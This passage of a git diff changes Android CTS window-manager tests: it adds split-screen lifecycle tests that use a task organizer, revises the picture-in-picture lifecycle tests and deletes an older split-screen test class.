+        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
+
+        // Launch second activity to stop first
+        final Activity secondActivity = launchActivityAndWait(SecondActivity.class);
+
+        // Wait for the first activity to stop, so that this event is not included in the logs.
+        waitAndAssertActivityStates(state(firstActivity, ON_STOP));
+
+        // Enter split screen
+        moveTaskToPrimarySplitScreenAndVerify(secondActivity, sideActivity);
+
+        // CLear logs so we can capture just the destroy sequence
+        getLifecycleLog().clear();
+
+        // Start an activity in separate task (will be placed in secondary stack)
+        mTaskOrganizer.setLaunchRoot(mTaskOrganizer.getSecondarySplitTaskId());
+        new Launcher(ThirdActivity.class)
+                .setFlags(FLAG_ACTIVITY_MULTIPLE_TASK | FLAG_ACTIVITY_NEW_TASK)
+                .launch();
+
+        // Finish top activity
+        secondActivity.finish();
+
+        waitAndAssertActivityStates(state(secondActivity, ON_DESTROY),
+                state(firstActivity, ON_RESUME));
+
+        // Verify that the first activity was recreated to resume as it was created before
+        // windowing mode was switched
+        LifecycleVerifier.assertRecreateAndResumeSequence(FirstActivity.class, getLifecycleLog());
+
+        // Verify that the lifecycle state did not change for activity in non-focused stack
+        LifecycleVerifier.assertLaunchSequence(ThirdActivity.class, getLifecycleLog());
+    }
+
+    @Test
+    public void testOccludingOnSplitSecondaryTask() throws Exception {
+        // Launch an activity that will be moved to split-screen secondary
+        final Activity sideActivity = launchActivityAndWait(SideActivity.class);
+
+        // Launch first activity
+        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
+
+        // Enter split screen
+        moveTaskToPrimarySplitScreenAndVerify(firstActivity, sideActivity);
+
+        // Launch third activity on top of second
+        getLifecycleLog().clear();
+        mTaskOrganizer.setLaunchRoot(mTaskOrganizer.getSecondarySplitTaskId());
+        new Launcher(ThirdActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
+        waitAndAssertActivityStates(state(sideActivity, ON_STOP));
+    }
+
+    @Test
+    public void testTranslucentOnSplitSecondaryTask() throws Exception {
+        // Launch an activity that will be moved to split-screen secondary
+        final Activity sideActivity = launchActivityAndWait(ThirdActivity.class);
+
+        // Launch an activity in a new task
+        final Activity firstActivity = new Launcher(FirstActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
+
+        // Enter split screen
+        moveTaskToPrimarySplitScreenAndVerify(firstActivity, sideActivity);
+
+        // Launch translucent activity on top of second
+        getLifecycleLog().clear();
+
+        mTaskOrganizer.setLaunchRoot(mTaskOrganizer.getSecondarySplitTaskId());
+        new Launcher(TranslucentActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
+        waitAndAssertActivityStates(state(sideActivity, ON_PAUSE));
+    }
+
+    @Test
+    public void testResultInNonFocusedTask() throws Exception {
+        // Launch an activity that will be moved to split-screen secondary
+        final Activity sideActivity = launchActivityAndWait(SideActivity.class);
+
+        // Launch first activity in another task
+        final Activity callbackTrackingActivity = launchActivityAndWait(
+                CallbackTrackingActivity.class);
+
+        // Launch second activity
+        // Create an ActivityMonitor that catch ChildActivity and return mock ActivityResult:
+        Instrumentation.ActivityMonitor activityMonitor = getInstrumentation()
+                .addMonitor(SecondActivity.class.getName(), null /* activityResult */,
+                        false /* block */);
+
+        callbackTrackingActivity.startActivityForResult(
+                new Intent(callbackTrackingActivity, SecondActivity.class), 1 /* requestCode */);
+
+        // Wait for the ActivityMonitor to be hit
+        final Activity secondActivity = getInstrumentation()
+                .waitForMonitorWithTimeout(activityMonitor, 5 * 1000);
+
+        // Wait for second activity to resume
+        assertNotNull("Second activity should be started", secondActivity);
+        waitAndAssertActivityStates(state(secondActivity, ON_RESUME));
+
+        // Verify if the first activity stopped (since it is not currently visible)
+        waitAndAssertActivityStates(state(callbackTrackingActivity, ON_STOP));
+
+        // Enter split screen
+        moveTaskToPrimarySplitScreenAndVerify(secondActivity, sideActivity);
+
+        // Finish top activity and verify that activity below became focused.
+        getLifecycleLog().clear();
+        secondActivity.setResult(Activity.RESULT_OK);
+        secondActivity.finish();
+
+        // Check that activity was restarted and result was delivered
+        waitAndAssertActivityStates(state(callbackTrackingActivity, ON_RESUME));
+        LifecycleVerifier.assertSequence(CallbackTrackingActivity.class, getLifecycleLog(),
+                Arrays.asList(ON_DESTROY, PRE_ON_CREATE, ON_CREATE, ON_START, ON_POST_CREATE,
+                        ON_ACTIVITY_RESULT, ON_RESUME), "restart");
+    }
+
+    @Test
+    public void testResumedWhenRestartedFromInNonFocusedTask() throws Exception {
+        // Launch first activity
+        final Activity sideActivity = launchActivityAndWait(SideActivity.class);
+
+        // Start an activity in separate task
+        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
+
+        // Enter split screen
+        moveTaskToPrimarySplitScreenAndVerify(firstActivity, sideActivity);
+
+        // Start an activity in separate task (will be placed in secondary stack)
+        mTaskOrganizer.setLaunchRoot(mTaskOrganizer.getSecondarySplitTaskId());
+        final Activity newTaskActivity = new Launcher(ThirdActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
+
+        // Launch second activity, first become stopped
+        getLifecycleLog().clear();
+        final Activity secondActivity = launchActivityAndWait(SecondActivity.class);
+
+        // Wait for second activity to resume and first to stop
+        waitAndAssertActivityStates(state(newTaskActivity, ON_STOP));
+
+        // Finish top activity
+        getLifecycleLog().clear();
+        secondActivity.finish();
+
+        waitAndAssertActivityStates(state(newTaskActivity, ON_RESUME));
+        waitAndAssertActivityStates(state(secondActivity, ON_DESTROY));
+
+        // Verify that the first activity was restarted to resumed state as it was brought back
+        // after windowing mode was switched
+        LifecycleVerifier.assertRestartAndResumeSequence(ThirdActivity.class, getLifecycleLog());
+        LifecycleVerifier.assertResumeToDestroySequence(SecondActivity.class, getLifecycleLog());
+    }
+
+    @Test
+    public void testResumedTranslucentWhenRestartedFromInNonFocusedTask() throws Exception {
+        // Launch an activity that will be moved to split-screen secondary
+        final Activity sideActivity = launchActivityAndWait(SideActivity.class);
+
+        // Launch first activity
+        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
+
+        // Launch a translucent activity, first become paused
+        final Activity translucentActivity = launchActivityAndWait(TranslucentActivity.class);
+
+        // Wait for first activity to pause
+        waitAndAssertActivityStates(state(firstActivity, ON_PAUSE));
+
+        // Enter split screen
+        mWmState.computeState(firstActivity.getComponentName());
+        moveActivitiesToSplitScreen(firstActivity.getComponentName(),
+                sideActivity.getComponentName());
+
+        // Finish top activity
+        getLifecycleLog().clear();
+        translucentActivity.finish();
+
+        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
+        waitAndAssertActivityStates(state(translucentActivity, ON_DESTROY));
+
+        // Verify that the first activity was resumed
+        LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
+                Arrays.asList(ON_RESUME), "resume");
+        LifecycleVerifier.assertResumeToDestroySequence(TranslucentActivity.class,
+                getLifecycleLog());
+    }
+
+    @Test
+    public void testLifecycleOnMoveToFromSplitScreenRelaunch() throws Exception {
+        // Launch an activity that will be moved to split-screen secondary
+        final Activity sideActivity = launchActivityAndWait(SecondActivity.class);
+
+        // Launch a singleTop activity
+        final Activity firstActivity = new Launcher(CallbackTrackingActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
+
+        // Wait for the activity to resume
+        LifecycleVerifier.assertLaunchSequence(CallbackTrackingActivity.class, getLifecycleLog());
+
+        // Enter split screen
+        getLifecycleLog().clear();
+        moveTaskToPrimarySplitScreenAndVerify(firstActivity, sideActivity);
+
+        // Wait for the activity to relaunch and receive multi-window mode change
+        final List<LifecycleLog.ActivityCallback> expectedEnterSequence =
+                Arrays.asList(ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP, ON_DESTROY, PRE_ON_CREATE,
+                        ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME, ON_TOP_POSITION_GAINED,
+                        ON_TOP_POSITION_LOST, ON_PAUSE);
+        waitForActivityTransitions(CallbackTrackingActivity.class, expectedEnterSequence);
+        LifecycleVerifier.assertOrder(getLifecycleLog(), CallbackTrackingActivity.class,
+                Arrays.asList(ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP, ON_DESTROY, ON_CREATE,
+                        ON_RESUME), "moveToSplitScreen");
+
+        // Exit split-screen
+        getLifecycleLog().clear();
+        dismissSplitScreen(true /* primaryOnTop */);
+
+        // Wait for the activity to relaunch and receive multi-window mode change
+        final List<LifecycleLog.ActivityCallback> expectedExitSequence =
+                Arrays.asList(ON_STOP, ON_DESTROY, PRE_ON_CREATE, ON_CREATE, ON_START,
+                        ON_POST_CREATE, ON_RESUME, ON_PAUSE, ON_RESUME, ON_TOP_POSITION_GAINED);
+        waitForActivityTransitions(CallbackTrackingActivity.class, expectedExitSequence);
+        LifecycleVerifier.assertOrder(getLifecycleLog(), CallbackTrackingActivity.class,
+                Arrays.asList(ON_DESTROY, ON_CREATE, ON_RESUME, ON_TOP_POSITION_GAINED),
+                "moveFromSplitScreen");
+    }
+
+    @Test
+    public void testLifecycleOnMoveToFromSplitScreenNoRelaunch() throws Exception {
+
+        // Launch activities and enter split screen. Launched an activity on
+        // split-screen secondary stack to ensure the TOP_POSITION_LOST is send
+        // prior to MULTI_WINDOW_MODE_CHANGED.
+        launchActivitiesInSplitScreen(
+                getLaunchActivityBuilder().
+                        setTargetActivity(getComponentName(ConfigChangeHandlingActivity.class)),
+                getLaunchActivityBuilder().
+                        setTargetActivity(getComponentName(SecondActivity.class)));
+
+        final int displayWindowingMode = getDisplayWindowingModeByActivity(
+                getComponentName(ConfigChangeHandlingActivity.class));
+        if (displayWindowingMode == WINDOWING_MODE_FULLSCREEN) {
+            // Wait for the activity to receive the change.
+            waitForActivityTransitions(ConfigChangeHandlingActivity.class,
+                    Arrays.asList(ON_TOP_POSITION_LOST, ON_MULTI_WINDOW_MODE_CHANGED));
+            LifecycleVerifier.assertOrder(getLifecycleLog(), ConfigChangeHandlingActivity.class,
+                    Arrays.asList(ON_MULTI_WINDOW_MODE_CHANGED, ON_TOP_POSITION_LOST),
+                    "moveToSplitScreen");
+        } else {
+            // For non-fullscreen display mode, there won't be a multi-window callback.
+            waitForActivityTransitions(ConfigChangeHandlingActivity.class,
+                    Arrays.asList(ON_TOP_POSITION_LOST));
+            LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
+                    transition(ConfigChangeHandlingActivity.class, ON_TOP_POSITION_LOST),
+                    "moveToSplitScreen");
+        }
+
+        // Exit split-screen
+        getLifecycleLog().clear();
+        dismissSplitScreen(true /* primaryOnTop */);
+
+        // Wait for the activity to receive the change
+        final List<LifecycleLog.ActivityCallback> expectedSequence =
+                Arrays.asList(ON_TOP_POSITION_GAINED, ON_MULTI_WINDOW_MODE_CHANGED);
+        waitForActivityTransitions(ConfigChangeHandlingActivity.class, expectedSequence);
+        LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
+                transition(ConfigChangeHandlingActivity.class, ON_MULTI_WINDOW_MODE_CHANGED),
+                "exitSplitScreen");
+        LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
+                transition(ConfigChangeHandlingActivity.class, ON_TOP_POSITION_GAINED),
+                "exitSplitScreen");
+    }
+
+    @Test
+    public void testOnUserLeaveHint() throws Exception {
+        launchActivitiesInSplitScreen(
+                getLaunchActivityBuilder()
+                        .setTargetActivity(getComponentName(ConfigChangeHandlingActivity.class)),
+                getLaunchActivityBuilder()
+                        .setIntentExtra(
+                                extra -> extra.putBoolean(EXTRA_ACTIVITY_ON_USER_LEAVE_HINT, true))
+                        .setTargetActivity(getComponentName(FirstActivity.class)));
+
+        getLifecycleLog().clear();
+        launchActivityAndWait(SecondActivity.class);
+
+        waitForIdle();
+
+        LifecycleVerifier.assertOrder(getLifecycleLog(), FirstActivity.class,
+                Arrays.asList(ON_USER_LEAVE_HINT, ON_PAUSE, ON_STOP),
+                "moveFromSplitScreen");
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java
index b018ea7..1aabf7f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java
@@ -16,7 +16,6 @@
 
 package android.server.wm.lifecycle;
 
-import static android.app.ActivityTaskManager.INVALID_STACK_ID;
 import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP;
@@ -29,11 +28,9 @@
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_STOP;
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.PRE_ON_CREATE;
 
-import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assume.assumeTrue;
 
 import android.app.Activity;
-import android.content.ComponentName;
 import android.platform.test.annotations.Presubmit;
 
 import androidx.test.filters.MediumTest;
@@ -65,17 +62,13 @@
         final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
 
         // Launch Pip-capable activity
-        final Activity pipActivity = launchActivityAndWait(PipActivity.class);
+        final PipActivity pipActivity = launchActivityAndWait(PipActivity.class);
 
         waitAndAssertActivityStates(state(firstActivity, ON_STOP));
 
         // Move activity to Picture-In-Picture
         getLifecycleLog().clear();
-        final ComponentName pipActivityName = getComponentName(PipActivity.class);
-        mWmState.computeState(pipActivityName);
-        final int stackId = mWmState.getStackIdByActivity(pipActivityName);
-        assertNotEquals(stackId, INVALID_STACK_ID);
-        moveTopActivityToPinnedStack(stackId);
+        pipActivity.enterPip();
 
         // Wait and assert lifecycle
         waitAndAssertActivityStates(state(firstActivity, ON_RESUME), state(pipActivity, ON_PAUSE));
@@ -220,14 +213,17 @@
     public void testSplitScreenBelowPip() throws Exception {
         assumeTrue(supportsSplitScreenMultiWindow());
 
-        // TODO(b/149338177): Fix test to pass with organizer API.
-        mUseTaskOrganizer = false;
         // Launch Pip-capable activity and enter Pip immediately
         new Launcher(PipActivity.class)
                 .setExpectedState(ON_PAUSE)
                 .setExtraFlags(EXTRA_ENTER_PIP)
                 .launch();
 
+        // Launch an activity that will be moved to split-screen secondary
+        final Activity sideActivity = new Launcher(ThirdActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
+
         // Launch first activity
         getLifecycleLog().clear();
         final Activity firstActivity = new Launcher(FirstActivity.class)
@@ -236,9 +232,7 @@
         LifecycleVerifier.assertLaunchSequence(FirstActivity.class, getLifecycleLog());
 
         // Enter split screen
-        moveTaskToPrimarySplitScreenAndVerify(firstActivity);
-        // TODO(b/123013403): will fail with callback tracking enabled - delivers extra
-        // MULTI_WINDOW_MODE_CHANGED
+        moveTaskToPrimarySplitScreenAndVerify(firstActivity, sideActivity);
         LifecycleVerifier.assertEmptySequence(PipActivity.class, getLifecycleLog(),
                 "launchBelow");
 
@@ -257,13 +251,14 @@
     public void testPipAboveSplitScreen() throws Exception {
         assumeTrue(supportsSplitScreenMultiWindow());
 
-        // TODO(b/149338177): Fix test to pass with organizer API.
-        mUseTaskOrganizer = false;
+        // Launch an activity that will be moved to split-screen secondary
+        final Activity sideActivity = launchActivityAndWait(SideActivity.class);
+
         // Launch first activity
         final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
 
         // Enter split screen
-        moveTaskToPrimarySplitScreenAndVerify(firstActivity);
+        moveTaskToPrimarySplitScreenAndVerify(firstActivity, sideActivity);
 
         // Launch second activity to side
         final Activity secondActivity = new Launcher(SecondActivity.class)
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
deleted file mode 100644
index 87caa56..0000000
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
+++ /dev/null
@@ -1,358 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.wm.lifecycle;
-
-import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
-import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
-import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_ACTIVITY_RESULT;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_CREATE;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_DESTROY;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_MULTI_WINDOW_MODE_CHANGED;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_PAUSE;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_POST_CREATE;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_RESTART;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_RESUME;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_START;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_STOP;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_GAINED;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_LOST;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.PRE_ON_CREATE;
-import static android.server.wm.lifecycle.LifecycleVerifier.transition;
-
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
-
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assume.assumeTrue;
-
-import android.app.Activity;
-import android.app.Instrumentation;
-import android.content.ComponentName;
-import android.content.Intent;
-import android.platform.test.annotations.Presubmit;
-
-import androidx.test.filters.MediumTest;
-
-import org.junit.Before;
-import org.junit.Ignore;
-import org.junit.Test;
-
-import java.util.Arrays;
-import java.util.List;
-
-/**
- * Build/Install/Run:
- *     atest CtsWindowManagerDeviceTestCases:ActivityLifecycleSplitScreenTests
- */
-@MediumTest
-@Presubmit
-@android.server.wm.annotation.Group3
-public class ActivityLifecycleSplitScreenTests extends ActivityLifecycleClientTestBase {
-
-    @Before
-    public void setUp() throws Exception {
-        super.setUp();
-        assumeTrue(supportsSplitScreenMultiWindow());
-        // TODO(b/149338177): Fix test to pass with organizer API.
-        mUseTaskOrganizer = false;
-    }
-
-    @Test
-    public void testResumedWhenRecreatedFromInNonFocusedStack() throws Exception {
-        // Launch first activity
-        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
-
-        // Launch second activity to stop first
-        final Activity secondActivity = launchActivityAndWait(SecondActivity.class);
-
-        // Wait for the first activity to stop, so that this event is not included in the logs.
-        waitAndAssertActivityStates(state(firstActivity, ON_STOP));
-
-        // Enter split screen
-        moveTaskToPrimarySplitScreenAndVerify(secondActivity);
-
-        // CLear logs so we can capture just the destroy sequence
-        getLifecycleLog().clear();
-
-        // Start an activity in separate task (will be placed in secondary stack)
-        new Launcher(ThirdActivity.class)
-                .setFlags(FLAG_ACTIVITY_MULTIPLE_TASK | FLAG_ACTIVITY_NEW_TASK)
-                .launch();
-
-        // Finish top activity
-        secondActivity.finish();
-
-        waitAndAssertActivityStates(state(secondActivity, ON_DESTROY),
-                state(firstActivity, ON_RESUME));
-
-        // Verify that the first activity was recreated to resume as it was created before
-        // windowing mode was switched
-        LifecycleVerifier.assertRecreateAndResumeSequence(FirstActivity.class, getLifecycleLog());
-
-        // Verify that the lifecycle state did not change for activity in non-focused stack
-        LifecycleVerifier.assertLaunchSequence(ThirdActivity.class, getLifecycleLog());
-    }
-
-    @Test
-    public void testOccludingOnSplitSecondaryStack() throws Exception {
-        // Launch first activity
-        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
-
-        // Enter split screen
-        moveTaskToPrimarySplitScreenAndVerify(firstActivity);
-
-        final ComponentName firstActivityName = getComponentName(FirstActivity.class);
-        mWmState.computeState(firstActivityName);
-        int primarySplitStack = mWmState.getStackIdByActivity(firstActivityName);
-
-        // Launch second activity to side
-        getLifecycleLog().clear();
-        final Activity secondActivity = new Launcher(SecondActivity.class)
-                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
-                .launch();
-
-        // Launch third activity on top of second
-        getLifecycleLog().clear();
-        new Launcher(ThirdActivity.class)
-                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
-                .launch();
-        waitAndAssertActivityStates(state(secondActivity, ON_STOP));
-    }
-
-    @Test
-    public void testTranslucentOnSplitSecondaryStack() throws Exception {
-        // Launch first activity
-        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
-
-        // Enter split screen
-        moveTaskToPrimarySplitScreenAndVerify(firstActivity);
-
-        final ComponentName firstActivityName = getComponentName(FirstActivity.class);
-        mWmState.computeState(firstActivityName);
-        int primarySplitStack = mWmState.getStackIdByActivity(firstActivityName);
-
-        // Launch second activity to side
-        getLifecycleLog().clear();
-        final Activity secondActivity = new Launcher(SecondActivity.class)
-                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
-                .launch();
-
-        // Launch translucent activity on top of second
-        getLifecycleLog().clear();
-
-        new Launcher(TranslucentActivity.class)
-                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
-                .launch();
-        waitAndAssertActivityStates(state(secondActivity, ON_PAUSE));
-    }
-
-    @Test
-    @Ignore // TODO(b/142345211): Skipping until the issue is fixed, or it will impact other tests.
-    public void testResultInNonFocusedStack() throws Exception {
-        // Launch first activity
-        final Activity callbackTrackingActivity =
-                launchActivityAndWait(CallbackTrackingActivity.class);
-
-        // Enter split screen, the activity will be relaunched.
-        // Start side activity so callbackTrackingActivity won't be paused due to minimized dock.
-        moveTaskToPrimarySplitScreen(callbackTrackingActivity.getTaskId(),
-            true/* showSideActivity */);
-        getLifecycleLog().clear();
-
-        // Launch second activity
-        // Create an ActivityMonitor that catch ChildActivity and return mock ActivityResult:
-        Instrumentation.ActivityMonitor activityMonitor = getInstrumentation()
-                .addMonitor(SecondActivity.class.getName(), null /* activityResult */,
-                        false /* block */);
-
-        callbackTrackingActivity.startActivityForResult(
-                new Intent(callbackTrackingActivity, SecondActivity.class), 1 /* requestCode */);
-
-        // Wait for the ActivityMonitor to be hit
-        final Activity secondActivity = getInstrumentation()
-                .waitForMonitorWithTimeout(activityMonitor, 5 * 1000);
-
-        // Wait for second activity to resume
-        assertNotNull("Second activity should be started", secondActivity);
-        waitAndAssertActivityStates(state(secondActivity, ON_RESUME));
-
-        // Verify if the first activity stopped (since it is not currently visible)
-        waitAndAssertActivityStates(state(callbackTrackingActivity, ON_STOP));
-
-        // Start an activity in separate task (will be placed in secondary stack)
-        new Launcher(ThirdActivity.class)
-                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
-                .launch();
-
-        // Finish top activity and verify that activity below became focused.
-        getLifecycleLog().clear();
-        secondActivity.setResult(Activity.RESULT_OK);
-        secondActivity.finish();
-
-        // Check that activity was resumed and result was delivered
-        waitAndAssertActivityStates(state(callbackTrackingActivity, ON_RESUME));
-        LifecycleVerifier.assertSequence(CallbackTrackingActivity.class, getLifecycleLog(),
-                Arrays.asList(ON_RESTART, ON_START, ON_ACTIVITY_RESULT, ON_RESUME), "resume");
-    }
-
-    @Test
-    public void testResumedWhenRestartedFromInNonFocusedStack() throws Exception {
-        // Launch first activity
-        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
-
-        // Enter split screen
-        moveTaskToPrimarySplitScreenAndVerify(firstActivity);
-
-        // Start an activity in separate task (will be placed in secondary stack)
-        final Activity newTaskActivity = new Launcher(ThirdActivity.class)
-                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
-                .launch();
-
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
-
-        // Launch second activity, first become stopped
-        getLifecycleLog().clear();
-        final Activity secondActivity = launchActivityAndWait(SecondActivity.class);
-
-        // Wait for second activity to resume and first to stop
-        waitAndAssertActivityStates(state(newTaskActivity, ON_STOP));
-
-        // Finish top activity
-        getLifecycleLog().clear();
-        secondActivity.finish();
-
-        waitAndAssertActivityStates(state(newTaskActivity, ON_RESUME));
-        waitAndAssertActivityStates(state(secondActivity, ON_DESTROY));
-
-        // Verify that the first activity was restarted to resumed state as it was brought back
-        // after windowing mode was switched
-        LifecycleVerifier.assertRestartAndResumeSequence(ThirdActivity.class, getLifecycleLog());
-        LifecycleVerifier.assertResumeToDestroySequence(SecondActivity.class, getLifecycleLog());
-    }
-
-    @Test
-    public void testResumedTranslucentWhenRestartedFromInNonFocusedStack() throws Exception {
-        // Launch first activity
-        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
-
-        // Enter split screen
-        moveTaskToPrimarySplitScreen(firstActivity.getTaskId(), true /* showSideActivity */);
-
-        // Launch a translucent activity, first become paused
-        final Activity translucentActivity = launchActivityAndWait(TranslucentActivity.class);
-
-        // Wait for first activity to pause
-        waitAndAssertActivityStates(state(firstActivity, ON_PAUSE));
-
-        // Start an activity in separate task (will be placed in secondary stack)
-        new Launcher(ThirdActivity.class)
-                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
-                .launch();
-
-        getLifecycleLog().clear();
-
-        // Finish top activity
-        translucentActivity.finish();
-
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
-        waitAndAssertActivityStates(state(translucentActivity, ON_DESTROY));
-
-        // Verify that the first activity was resumed
-        LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
-                Arrays.asList(ON_RESUME), "resume");
-        LifecycleVerifier.assertResumeToDestroySequence(TranslucentActivity.class,
-                getLifecycleLog());
-    }
-
-    @Test
-    public void testLifecycleOnMoveToFromSplitScreenRelaunch() throws Exception {
-        // Launch a singleTop activity
-        final Activity activity = launchActivityAndWait(CallbackTrackingActivity.class);
-
-        // Wait for the activity to resume
-        LifecycleVerifier.assertLaunchSequence(CallbackTrackingActivity.class, getLifecycleLog());
-
-        // Enter split screen
-        getLifecycleLog().clear();
-        moveTaskToPrimarySplitScreenAndVerify(activity);
-
-        // Exit split-screen
-        getLifecycleLog().clear();
-        setActivityTaskWindowingMode(CALLBACK_TRACKING_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
-
-        // Wait for the activity to relaunch and receive multi-window mode change
-        final List<LifecycleLog.ActivityCallback> expectedExitSequence =
-                Arrays.asList(ON_STOP, ON_DESTROY, PRE_ON_CREATE, ON_CREATE, ON_START,
-                        ON_POST_CREATE, ON_RESUME, ON_TOP_POSITION_GAINED);
-
-        // ON_MULTI_WINDOW_MODE_CHANGED could happen before destroy
-        waitForActivityTransitions(CallbackTrackingActivity.class, expectedExitSequence);
-        LifecycleVerifier.assertOrder(getLifecycleLog(), CallbackTrackingActivity.class,
-                expectedExitSequence, "moveFromSplitScreen");
-        LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
-                LifecycleVerifier.transition(CallbackTrackingActivity.class,
-                        ON_MULTI_WINDOW_MODE_CHANGED),
-                "moveFromSplitScreen");
-    }
-
-    @Test
-    public void testLifecycleOnMoveToFromSplitScreenNoRelaunch() throws Exception {
-
-        // Launch activities and enter split screen. Launched an activity on
-        // split-screen secondary stack to ensure the TOP_POSITION_LOST is send
-        // prior to MULTI_WINDOW_MODE_CHANGED.
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().
-                        setTargetActivity(getComponentName(ConfigChangeHandlingActivity.class)),
-                getLaunchActivityBuilder().
-                        setTargetActivity(getComponentName(SecondActivity.class)));
-
-        final int displayWindowingMode = getDisplayWindowingModeByActivity(
-                getComponentName(ConfigChangeHandlingActivity.class));
-        if (displayWindowingMode == WINDOWING_MODE_FULLSCREEN) {
-            // Wait for the activity to receive the change.
-            waitForActivityTransitions(ConfigChangeHandlingActivity.class,
-                    Arrays.asList(ON_TOP_POSITION_LOST, ON_MULTI_WINDOW_MODE_CHANGED));
-            LifecycleVerifier.assertOrder(getLifecycleLog(), ConfigChangeHandlingActivity.class,
-                    Arrays.asList(ON_MULTI_WINDOW_MODE_CHANGED, ON_TOP_POSITION_LOST),
-                    "moveToSplitScreen");
-        } else {
-            // For non-fullscreen display mode, there won't be a multi-window callback.
-            waitForActivityTransitions(ConfigChangeHandlingActivity.class,
-                    Arrays.asList(ON_TOP_POSITION_LOST));
-            LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
-                    transition(ConfigChangeHandlingActivity.class, ON_TOP_POSITION_LOST),
-                    "moveToSplitScreen");
